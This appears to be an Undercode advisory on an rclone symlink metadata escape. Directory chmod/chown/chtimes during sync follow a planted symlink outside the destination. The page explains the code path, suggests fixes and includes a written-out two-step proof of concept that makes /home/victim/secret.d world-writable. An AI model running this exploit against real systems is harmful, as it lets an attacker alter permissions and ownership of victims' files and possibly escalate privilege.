Listen to this Post
rclone local backend uses -l/–links to recreate .rclonelink objects as real symlinks.
This is preserved by design for faithful backups.
Directory metadata application does not go through the os.Root sandbox.
It also does not use NOFOLLOW syscalls.
A local Directory always has translatedLink=false.
When the destination path already exists as a planted symlink, rclone applies chmod/chown/chtimes through that symlink.
The target can be outside the destination tree.
An attacker who controls source contents obtains attacker-valued chmod/chown/chtimes.
CVE-2024-52522 is the NOFOLLOW fix for symlink metadata.
That fix gates os.Lchown, os.Lchmod, and os.Lchtimes on if o.translatedLink.
A Directory is never translatedLink.
So directory metadata always takes the raw following branch.
CVE-2026-54572 is the os.Root fix for content writes.
It covers only content writes, not metadata syscalls.
MkdirMetadata calls f.lstat on the destination path.
f.lstat is os.Lstat at local.go:465.
On a pre-planted symlink, os.Lstat succeeds.
The errors.Is(err, os.ErrNotExist) branch at local.go:896 is not taken.
That branch would create a real directory via os.Root-guarded f.Mkdir.
Instead a Directory is built directly on the symlink path.
writeMetadataToFiler runs raw os.Chown at metadata.go:131.
It also runs raw os.Chmod at metadata.go:158.
setTimes runs raw os.Chtimes at local.go:1318.
The CVE-2024-52522 NOFOLLOW branch is gated on if o.translatedLink.
That gate is at metadata.go:128/150 and local.go:1315.
A Directory from newDirectory to newObject has no .rclonelink suffix.
Therefore translatedLink=false for all directories.
The raw following branch runs on o.path=”dst/pwn”.
POSIX confirms chmod 777 and touch on a symlink path change the target’s mode and mtime.
When rclone runs as root with –metadata and source uid=0, chown reaches the CVE-2024-52522 privilege-escalation ceiling.
DailyCVE Form:
Platform: rclone
Version: <=1.75.0
Vulnerability: Symlink metadata escape
Severity: Critical
date: 2026-09-11
Prediction: 2026-10-01
(end of form)
What Undercode Say:
Analytics
mkdir -p /src /dest printf '/home/victim/secret.d' > /src/pwn.rclonelink rclone sync --links /src /dest rm /src/pwn.rclonelink mkdir -p /src/pwn/keep chmod 777 /src/pwn rclone sync --links --metadata /src /dest ls -ld /home/victim/secret.d
// backend/local/local.go:895
fi, err := f.lstat(filepath.Join(f.root, dir)) // os.Lstat, local.go:465
if errors.Is(err, os.ErrNotExist) { // local.go:896
return f.Mkdir(ctx, dir) // os.Root-guarded
}
// Directory built on symlink path
// backend/local/metadata.go:128/150
if o.translatedLink {
return os.Lchown(o.path, uid, gid)
}
return os.Chown(o.path, uid, gid) // metadata.go:131
if o.translatedLink {
return os.Lchmod(o.path, mode)
}
return os.Chmod(o.path, mode) // metadata.go:158
// backend/local/local.go:1315
if o.translatedLink {
return os.Lchtimes(o.path, atime, mtime)
}
return os.Chtimes(o.path, atime, mtime) // local.go:1318
// backend/local/local.go:581/589/596
func newDirectory(...) Directory {
return &Directory{newObject(...)} // no .rclonelink suffix -> translatedLink=false
}
Exploit: (Educational Purposes!)
mkdir -p /src /dest run 1: source object pwn.rclonelink whose body = /home/victim/secret.d printf '/home/victim/secret.d' > /src/pwn.rclonelink rclone sync --links /src /dest plants /dest/pwn -> /home/victim/secret.d attacker swaps source pwn to a real directory with chosen metadata: rm /src/pwn.rclonelink ; mkdir -p /src/pwn/keep ; chmod 777 /src/pwn rclone sync --links --metadata /src /dest MkdirMetadata sees /dest/pwn exists (symlink) -> chmod 0777 applied THROUGH it to /home/victim/secret.d ls -ld /home/victim/secret.d => drwxrwxrwx (outside dir, attacker-chosen mode) Single-run PoC achievable against directory-based object sources (drive/onedrive-class) that satisfy ReadDirMetadata and CanHaveEmptyDirectories and present pwn.rclonelink and pwn/ simultaneously.
Protection: from this CVE
Suggested fix Route directory metadata through os.Root when TranslateSymlinks is set Use fchmodat(AT_SYMLINK_NOFOLLOW) Use Lchown Use UtimesNanoAt(AT_SYMLINK_NOFOLLOW) on rel path within root Extend MkdirMetadata to detect pre-existing destination path is symlink Refuse to apply following-metadata Mirror CVE-2024-52522 NOFOLLOW branch for translatedLink objects
Impact:
Attacker-controlled chmod/chown/chtimes applied to any file or directory outside destination.
chtimes (mtime) escape works with just –links and default flags.
chmod/chown escape additionally needs –metadata.
When rclone runs as root with –metadata and source uid=0, chown reaches CVE-2024-52522 privilege-escalation ceiling.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
